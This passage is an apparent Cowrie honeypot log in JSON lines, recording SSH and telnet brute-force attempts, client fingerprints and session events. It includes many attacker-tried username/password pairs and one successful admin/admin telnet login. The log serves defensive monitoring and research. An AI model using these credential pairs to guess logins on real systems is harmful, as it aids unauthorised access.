nssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:40:18.947684Z","src_ip":"103.77.175.15","session":"75ec17ed5ea1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"podruga","message":"login attempt [root/podruga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:40:19.663022Z","src_ip":"103.77.175.15","session":"75ec17ed5ea1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:40:20.904307Z","src_ip":"103.77.175.15","session":"75ec17ed5ea1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.185.132.97","src_port":49322,"dst_ip":"159.203.135.109","dst_port":22,"session":"bbb779cc5467","protocol":"ssh","message":"New connection: 147.185.132.97:49322 (159.203.135.109:22) [session: bbb779cc5467]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:40:27.025350Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:40:27.177338Z","src_ip":"147.185.132.97","session":"bbb779cc5467","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":51612,"dst_ip":"159.203.135.109","dst_port":22,"session":"65674cb36ebd","protocol":"ssh","message":"New connection: 160.187.174.22:51612 (159.203.135.109:22) [session: 65674cb36ebd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:40:32.025979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:40:32.030464Z","src_ip":"160.187.174.22","session":"65674cb36ebd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:40:32.585187Z","src_ip":"160.187.174.22","session":"65674cb36ebd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flask","password":"12345678","message":"login attempt [flask/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:40:33.327309Z","src_ip":"160.187.174.22","session":"65674cb36ebd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:40:34.576617Z","src_ip":"160.187.174.22","session":"65674cb36ebd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":28.555381774902344,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:40:39.271581Z","src_ip":"170.64.224.25","session":"b474f6b1a420","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":53272,"dst_ip":"10.17.0.5","dst_port":22,"session":"cce48bddf796","protocol":"ssh","message":"New connection: 109.237.96.109:53272 (10.17.0.5:22) [session: cce48bddf796]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:40:40.079607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:40:40.082702Z","src_ip":"109.237.96.109","session":"cce48bddf796","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:40:40.176823Z","src_ip":"109.237.96.109","session":"cce48bddf796","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"160193","message":"login attempt [root/160193] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:40:40.458379Z","src_ip":"109.237.96.109","session":"cce48bddf796","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:40:41.554227Z","src_ip":"109.237.96.109","session":"cce48bddf796","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":53930,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3a095c45e04","protocol":"telnet","message":"New connection: 107.6.151.170:53930 (159.203.135.109:23) [session: c3a095c45e04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:40:45.715521Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":53078,"dst_ip":"159.203.135.109","dst_port":23,"session":"43c14c80b293","protocol":"telnet","message":"New connection: 170.64.224.25:53078 (159.203.135.109:23) [session: 43c14c80b293]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:40:50.722737Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":34248,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8416f148f70","protocol":"ssh","message":"New connection: 160.187.174.22:34248 (159.203.135.109:22) [session: b8416f148f70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:40:58.761422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:40:58.766063Z","src_ip":"160.187.174.22","session":"b8416f148f70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:40:58.999322Z","src_ip":"160.187.174.22","session":"b8416f148f70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.228.179.34","src_port":44208,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fe58054d4a7","protocol":"ssh","message":"New connection: 20.228.179.34:44208 (10.17.0.5:22) [session: 4fe58054d4a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:40:59.597678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:40:59.601791Z","src_ip":"20.228.179.34","session":"4fe58054d4a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:40:59.611985Z","src_ip":"20.228.179.34","session":"4fe58054d4a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"letmein#@!$%^&","message":"login attempt [root/letmein#@!$%^&] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:40:59.645382Z","src_ip":"20.228.179.34","session":"4fe58054d4a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"user1","message":"login attempt [user1/user1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:40:59.735451Z","src_ip":"160.187.174.22","session":"b8416f148f70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:00.658402Z","src_ip":"20.228.179.34","session":"4fe58054d4a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:00.976427Z","src_ip":"160.187.174.22","session":"b8416f148f70","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:01.708016Z","src_ip":"208.94.105.58","session":"575c2c2d0c20","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:01.831972Z","src_ip":"208.94.105.58","session":"575c2c2d0c20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.218.183","src_port":36694,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ef940663667","protocol":"ssh","message":"New connection: 162.240.218.183:36694 (159.203.135.109:22) [session: 6ef940663667]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:03.373868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:03.378134Z","src_ip":"162.240.218.183","session":"6ef940663667","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:03.460984Z","src_ip":"162.240.218.183","session":"6ef940663667","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"render","password":"render123","message":"login attempt [render/render123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:03.709972Z","src_ip":"162.240.218.183","session":"6ef940663667","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:05.083922Z","src_ip":"162.240.218.183","session":"6ef940663667","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":34718,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1d3f35ef02c","protocol":"telnet","message":"New connection: 170.64.224.25:34718 (159.203.135.109:23) [session: b1d3f35ef02c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:09.383166Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.20.137","src_port":44826,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc45199d8e10","protocol":"ssh","message":"New connection: 162.240.20.137:44826 (10.17.0.5:22) [session: fc45199d8e10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:10.132238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:10.138383Z","src_ip":"162.240.20.137","session":"fc45199d8e10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:10.228360Z","src_ip":"162.240.20.137","session":"fc45199d8e10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"safepal456","message":"login attempt [root/safepal456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:10.497638Z","src_ip":"162.240.20.137","session":"fc45199d8e10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":34732,"dst_ip":"159.203.135.109","dst_port":23,"session":"4363b18a931f","protocol":"telnet","message":"New connection: 170.64.224.25:34732 (159.203.135.109:23) [session: 4363b18a931f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:10.726482Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:11.589768Z","src_ip":"162.240.20.137","session":"fc45199d8e10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.88.42.180","src_port":56862,"dst_ip":"10.17.0.5","dst_port":22,"session":"7757d569c8f8","protocol":"ssh","message":"New connection: 23.88.42.180:56862 (10.17.0.5:22) [session: 7757d569c8f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:13.831211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:13.835353Z","src_ip":"23.88.42.180","session":"7757d569c8f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:13.930662Z","src_ip":"23.88.42.180","session":"7757d569c8f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gmx123","message":"login attempt [root/gmx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:14.221206Z","src_ip":"23.88.42.180","session":"7757d569c8f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:15.318729Z","src_ip":"23.88.42.180","session":"7757d569c8f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":46940,"dst_ip":"10.17.0.5","dst_port":22,"session":"7257d473c535","protocol":"ssh","message":"New connection: 91.92.40.4:46940 (10.17.0.5:22) [session: 7257d473c535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:19.759819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:19.764664Z","src_ip":"91.92.40.4","session":"7257d473c535","protocol":"ssh"}
